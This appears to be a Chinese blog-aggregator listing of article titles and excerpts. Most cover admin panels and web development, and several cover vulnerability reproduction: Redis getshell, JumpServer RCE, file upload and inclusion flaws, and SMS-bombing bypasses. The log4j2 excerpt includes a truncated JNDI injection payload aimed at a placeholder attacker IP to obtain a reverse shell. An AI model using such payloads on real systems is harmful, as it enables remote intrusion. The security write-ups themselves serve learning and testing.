旁站 漏洞 后台getshell
BadBarcode 条形码漏洞
BadBarcode Vulnerability BadBarcode is a design flaw widely exists in barcode reading devices, which could be exploited to hack into host computers th ......
常见漏洞总结
声明 仅作学习分享，请勿用作其他用途，否则因此造成的任何危害网络安全行为后果自负，与本人无关。 0x01 弱口令 产生原因 与个人习惯和安全意识相关，为了避免忘记密码，使用一个非常容易记住 的密码，或者是直接采用系统的默认密码等。 危害 通过弱口令，攻击者可以进入后台修改资料，进入金融系统盗取钱财， ......
PHPCMS 后台访问特别慢的原因？
PHPCMS 后台访问特别慢的原因？ 因为PHPCMS默认连接数据库，使用的HOST是“localhost”，而“localhost”如果没有被“127.0.0.1”解析到，就会导致PHPCMS访问数据库会很慢，所以也导致后端页面访问很慢。 解决方法 将localhost进行解析或将localhos ......
UnityWebRequest-与后台数据传输Get/Post请求
现在越来越多的项目都要用到登录、成绩上传等功能，涉及到Unity与后台接口之前调用与发送，下面着重介绍Unity自带的Http请求，包含Get/Post请求（表单、json、有头文件的请求。） 一、Get请求 直接填入接口地址，即可接收后台返回的json数据，新手在这里可能有点懵，不知道接口是什么意 ......
短信轰炸漏洞绕过的多种方法技巧
在测试甲方业务或者挖 SRC 等业务的时候，经常碰到发送短信验证的地方，我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞， 简单的漏洞也是需要清晰的思维分析，拿几个短信轰炸多个绕过案例分享，高危挖不动低危拿来凑。1. 参数污染绕过参数污染，就是说后台发送短信的时候会取数字那 ......
jumpserver 远程执行漏洞分析和复现
0 简介JumpServer是一款开源的堡垒机，是符合4A规范的运维安全审计系统，通俗来说就是跳板机。2021年1月15日，JumpServer发布安全更新，修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制，攻击者可构造恶意请求获取敏感信息，或者执行相关操作控制其中所有机器， ......
Netatalk CVE-2018-1160 复现及漏洞利用思路
author:cxing Date:2023年4月6日 introduction：Netatalk 是一个** Apple Filing Protocol** (AFP) 的开源实现。 它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。AFP的数据流量包格式为DSI(Data S ......
Django基础 - 03管理后台admin
一、Admin管理 1.1 创建超级用户 createsuperuser (venv) E:\PythonLearn\djangoDemo\helloDjango>python manage.py createsuperuser Username (leave blank to use 'sun') ......
Linux、Windows后台运行Python脚本
Linux：python或nohup命令 python命令： python test.py & python -u test.py >> test.log & 参数u，时时输出内容到文件。 python -u test.py >>test.log 2>&1 & python -u test.py > ......
简析反序列化漏洞
反序列化漏洞 反序列化漏洞一、漏洞原理相关概念什么是序列化与反序列化？漏洞成因常见魔术方法总结二、漏洞危害三、漏洞出现场景四、检测方法五、防御六、漏洞复现 一、漏洞原理 相关概念 什么是序列化与反序列化？ 序列化：把对象的状态信息转换为可以存储或传输的形式的过程，一般是将对象转换为字节流。在进行序列 ......
怎么实现从app注册登录应用跳转到app2所获得爬虫后台数据
import json from flask import Flask, render_template, request, jsonify from flask_mysqldb import MySQL from flask_login import logout_user import pymy ......
Redis未授权访问Getshell
漏洞成因 有些redis绑在0.0.0.0:6379，没有开启验证或者没有设置对未知ip来源进行限制以及默认的空密码就导致了redis默认访问 但是这个普遍的漏洞极可能造成后门植入getshell，也可能造成反弹shell权限维持，甚至会造成ssh直接免密连接服务器 开始复现 搭建环境 服务器操作系 ......
堆块chunk介绍及unlink漏洞利用原理
堆块chunk介绍及unlink漏洞利用原理 chunk结构 当进程动态分配内存时，系统会在堆中创建一个chunk（堆块）。chunk包含chunk头和chunk体两部分 chunk头中有两个字段： prev_size：前一个chunk的size，前指的之前分配的内存，也就是低地址相邻的chunk ......
小皮1-click漏洞的代码审计学习笔记
漏洞起源于前段时间比较火的小皮 1-click 漏洞，用户名登录处缺少过滤，导致可以直接构造恶意 payload 实现存储型 XSS ，结合小皮本身所具有的计划任务，XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤，所以可以尝试 SQL 漏洞。 ......
使用vue2+element-ui+vuex实现后台管理系统的头部背景色动态点击修改
**以下内容仅供自己学习使用 话不多说，直接上代码 首先去vuex里面 import Vue from 'vue'; import Vuex from 'vuex'; Vue.use(Vuex); const store = new Vuex.Store({ state: { headerColor ......
golang CVE-2016-2183漏洞，https需要添加tls设置加密算法CipherSuites白名单，将弱加密算法DES和3DES去掉。
golang CVE-2016-2183漏洞，https需要添加tls设置加密算法白名单，将弱加密算法DES和3DES去掉。 服务端样例代码 package main import ( "crypto/tls" "fmt" "net/http" ) func handler(writer http. ......
MVC4向后台传输数据（POST）
前端 const xhr = new XMLHttpRequest() const fileName = '小题分表.xls' xhr.open('post', '@Url.Action("ExportData")', true) xhr.responseType = 'blob' //xhr.se ......
如何找出 SAP Fiori Launchpad 里点击 tile 之后，读取业务数据调用的是哪个 SAP 后台系统的 OData 服务试读版
笔者曾经写过一篇文章SAP Fiori应用的三种部署方式,里面介绍了 SAP Fiori 应用部署的一种典型方式：Fiori 应用的载体即 SAP UI5 应用，部署在 Gateway 系统上，也称 Frontend Server(前台服务器)，如下图红色方框高亮所示。 当用户访问 Fiori La ......
🎊这个 OpenTiny 开源项目的 CLI 可太牛了，两行命令创建一个美观大气的 Vue Admin 后台管理系统，有手就会，连我的设计师朋友都学会啦啦
近期尝试了下 OpenTiny 的 CLI 工具，不得不说，简单到“有手就会”，只要执行两行命令就创建了一个美观大气的 Vue Admin 后台管理系统，连我的设计师朋友都学会啦啦。 ......
文件包含漏洞
文件包含渗透 1.项目实验环境 2.原理及危害 文件包含漏洞: 即File Inclusion ,意思是文件包含(漏洞)，是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once() ，requi ......
文件上传漏洞
文件上传漏洞原理 1、文件上传( File Upload )是大部分web应用都具备的功能，例如用户上传附件、修改头像、分享图片/视频等 2、正常的文件一般是文档、 图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回 3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并 ......
项目讲解之火爆全网的开源后台管理系统RuoYi
博主是在2018年中就接触了 RuoYi 项目 这个项目，对于当时国内的开源后台管理系统来说，RuoYi 算是一个完成度较高，易读易懂、界面简洁美观的前后端不分离项目。 对于当时刚入行还在写 jsp 模板的博主来说，RuoYi 项目在后台基础功能、模块划分、易用性和页面美观度上，对比同期用 Java ......
后台
import pymysql from flask import Flask, render_template from flask import Flask, jsonify from flask import Flask, send_from_directory from flask impor ......
[转]C#写一个后台运行的文字识别工具
最近做笔记需要一个截图后获取图中文字的轻型程序，最好直接按快捷键就能识别并将文字自动复制。网上的应该都是要钱的，或者东西太杂了看着乱得慌，于是决定自己写。我c#只稍微学了一点，讲的不好的地方代码不规范的地方见谅。 我使用的是百度的文字识别api，请先自己去申请一下资源，免费的，一个月免费识别1000 ......
【Android】后台管理系统 | 进度day01
外包杯官方提示：平台不要太大，只是一些小东西包括支付宝和微信小程序打开，无需安装口香糖，餐巾纸有一块屏幕，不需要很大，只需要满足顾客可以看到传播的内容打开橱窗不要有锋利边角，不要求一体，提高场景利用率微信小程序，无需安装，收入先打到平台，平台计算后，达到司机账户中去车内，放两到三类，每样两到三个即可 ......
04_靶机Kioptrix1.2：CMS漏洞利用，使用ht编辑器修改sudoers文件提权，mysql查询
发现主机后进行目录扫描，发现登录口标注了CMS的版本，查看该类型CMS有没有漏洞，针对漏洞去github搜索脚本，拿到脚本后运行得到靶机的初级Shell,根据靶机内的文件内容指示使用ht编辑器，利用编辑器去修改用户的权限然后提权，拿到root权限结束 ......
EAS_后台抛出异常到前台（gui）
在后台抛出业务异常时，会在前端界面弹出消息提示框，并中断程序。 在前端页面（EAS客户端，GUI）中断程序时可使用abort()，但是abort()仅用于中断程序，消息提示需在中断之前处理。 /** * 抛出业务异常 */ public void throwBizException(String m ......
log4j2漏洞复现
【1】漏洞原理：Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议 即可)【2】复现：（1）启动靶场环境：（2）反弹shell：http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://攻击机ip:1389/Ba ......
后台返回数据和格式bootstrapTable表格 所需格式不一致问题
之前做的一个表格，数据返回格式是下面这种，bootstrapTable表格 所需格式不一致 处理方式是在加载成功之后获取到Results中的数据添加到表格中，试了一下数据能正常显示数据，似乎解决了问题 但是在实际测试是发现，使用bootstrapTable表格右上角刷新按钮刷新无效的，如果有其他环节 ......
jupyterlab的后台使用
打开终端并进入需要运行 JupyterLab 的目录。 输入 nohup jupyter lab & 命令并按下回车键，这将在后台运行 JupyterLab，并将输出信息写入到 nohup.out 文件中。 在使用 nohup 命令启动 JupyterLab 后，用户需要自己管理 JupyterLa ......